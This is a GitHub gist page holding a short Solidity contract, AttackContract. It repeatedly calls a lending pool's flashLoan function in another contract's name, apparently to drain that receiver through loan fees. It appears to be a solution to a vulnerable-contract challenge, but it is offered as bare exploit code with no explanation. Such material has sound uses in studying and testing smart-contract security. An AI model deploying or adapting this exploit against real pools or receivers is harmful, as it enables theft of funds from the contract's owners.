Skip to content

Instantly share code, notes, and snippets.

@zaryab2000
Last active January 16, 2021 15:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zaryab2000/3951197b3ca06182eaa617b466d80a97 to your computer and use it in GitHub Desktop.
Save zaryab2000/3951197b3ca06182eaa617b466d80a97 to your computer and use it in GitHub Desktop.
pragma solidity ^0.6.0;
contract AttackContract {
address payable pool;
address payable target;
constructor(address payable poolAddress,address payable targetAddress) public {
pool = poolAddress;
target = targetAddress;
}
function attackTarget() public{
bytes memory payload = abi.encodeWithSignature(
"flashLoan(address,uint256)",
target,
0
);
for(uint i=1;i<=10;i++){
(bool success, ) = pool.call(payload);
require (success, "Attack Teribbly Failed");
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment